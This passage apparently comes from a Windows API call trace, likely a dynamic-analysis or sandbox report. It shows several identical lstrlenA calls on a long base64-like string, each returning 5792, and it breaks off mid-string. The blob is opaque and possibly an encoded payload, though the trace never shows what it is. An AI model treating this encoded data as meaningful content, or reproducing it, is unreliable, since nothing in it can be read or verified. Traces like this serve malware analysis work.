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") returned 5792 [0163.806] lstrlenA (lpString="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") returned 5792 [0163.806] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeuddtxsqVSoPrRzoKtIak5m7s3CH0Dmh7VOvL1jVDYR6XOyqPgA/W1I90y1XZVOxveyu8MtOoG9Z2F2zcmJWBGxq1ZVOJ2wH1STU822MJQvW+sA1ZKA5cbIbZ3vnDQKSnFsZC5lhgyuVyeiRUXq4BwK3DLJjMchKGYbE2mxPhwGXLvT/kABtJmx0V0PALpvGUoWm5G+FC2VW5ryNKeM/VtBU9Oj0lk00JwB1uxwD1KS+K8y9xgsdPPItQSi5zU538gPhPkqFTS8FhvJG9S2NUvj+5nBpY9r3+nzNJWsnxHgm4uTrPbT8A0lKNQ4+lc+24cFMNCtrPXTLZb4HVKwyiHM0Qr7TEgOMU/eBofUhUDzbmOMCdOWgP8ysnaQyW4UiEoES2rfK139f5Q31GlQtX4YhI7Kprv6intucnG3lBcpHAQp7wVHsdr8ruyzumwBuN2FhYjTEgBLwd/e5yknjbGU0Gb3X3qxHxmqQj5iueqZPMhnfrmnozES2SdZkrVJNK6I9rpPfFpJ2NTvVtS4pvZ0bA4QuXoXxASuNdp5YWaphbGzi+75nK6Tc+pXtCkQpsPN7TUQWAqcEym+o9oggS2RJSwvXhBZofJLnptQAHB0UEWa42gHGHdICvNQI5uVc1sn+GKdAEz+2IN9YgztqC9ola/bZr4qcqE6/cO/EagQp536HqZCyEArWyIl7b3mHPcqJbYObGDjmaHz80lP7phXNoKASWZt44ygPGPbkZRQ0hemrjIrOgCDxo3IyZ0VKD2NmH2+X/tzNOx+U/dQ7lRXNHZQkSrOCQxSCLaf3xPgr2Exrr8VfbI52LWmS8YV143fclYqG0h3Ugs0SAMRknU6F5/HJMs6GONma7S/hs/QDVbs7wUyeRVSRAsjNw+NdqhpOXm4Xs+MjfQOP6Pl6TK6hSarW9TVL2aF4+5W4Q8HSEU8x25k/le/W0bnMxQk3ZLEUoYIFAZH+yzVGHYkkKVR3xpVeCUBqN98UpOyYtAv+Vo6pto8ElGvJtNT14Hph9ZU37J8av3sl4BWtx7jlXea0hzGS6EfjDCcc/I/GtKzFAy3ePRyznzsyRN86LVmvVSTqNv4RPwo2UQKQZlV0vvomMJi7iG2/XakwXVTC5nhs7qj6LlTC25F2W71jihItCP0ZwW6Gr8GIu54sofIQgujJmmYO/v3Ma5eCzQDKW8zQ3rdcwzb4Fby+JSYy9FlQe04h9bXHwJD4utvpFAhYatygYQZxtCA8AQmL8fXYudRx2K4xIHULMwC1t9KC5e8xozb6MNM0zKVdFBoXuSmcdi7GTJOOqhBsxJXoiDTzo1mnMZOT/J+uR3AVmUDxAid1oQ2ZLJFYxFMAwzgGz2GmjMuorZ23ijPyDOXTx3WosyG7ZEVBnQiErmPD0uZIHISbT7jxu4ZnDlAG4wdDKaPuECQ/QDFPbD2Rp2YnhXQph0KnvDGOgpjyAKkktYUSwZa4nmdUMKwDqj83gRKeGTvxibNcIZiK8GylD1Lpk3B57nrjtnQRq5VglTHATycQFn93TxEpiyWr7V4r6lgPEfDIB13AOVP5LLawF6y5MqPCgNuxB5FXRcEH1GQ6HcmmD9pY6nHoWF5o3fNjb1gZ6yF07+ZZeSERDoQN6Min6OEHsgvnBZn5nm/zlHF25KEBv1jctsEsVrZvHgLiwQju5O+quq8e4J9tRYchTmV5d0HesctWSTeZooxBPrwIr67tGGg2e/PYbJfa/f5Ip4yRZXxcG2vPDwXTiEWbaNDa1d12eB504zlqbIz+xD0a5XTLafVPBDk0mh8Gsc9oz4aJK6YMFPHgjiFBBoLB1LvDvAbvXTb84pqqvLePjjbHaNnMiZEHXcH+SwA2uVSQOxmoGAuuTQPsDaK35UKXOFvXe6NnjV/hdlGb7wkqRX9X4UgXF+q5zxOigIM0FtD35TjdrezVItQCkC8LwpLezuFbjZYJpz5J/dudqUe2tj4O2+k1RCySCG1W6t6voNUCYoPaehPZdTIq+Lhmr3AFSWasfhdHLz7mQWkPgozS+vhJH++p6NdnsTxtCabCb3cI9xmOZ9TaorBCq7ZlZZXU2bnS6+lXjUA0diQt4YReV+tP93M1wXPnhe7mB2Us00leOXa/PHZDdBmFEiOSXLuLMAeMB/bB9SA6BHvIa/mQDwLthGeyrgIojpLOUziKrwMM0Vr4ZyEwHQGveYIDBzrd9/t+7L/84YsvpqvQmp3G2VXYa4U0XUguZ4tbYaTisqZl3SSevx6BW3lVWBNKzvyVRDgtHvWYWEUEoAUwMb9RW9lSEd01LXyopdGPuaI8bfBDwwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2TGouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.806] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1q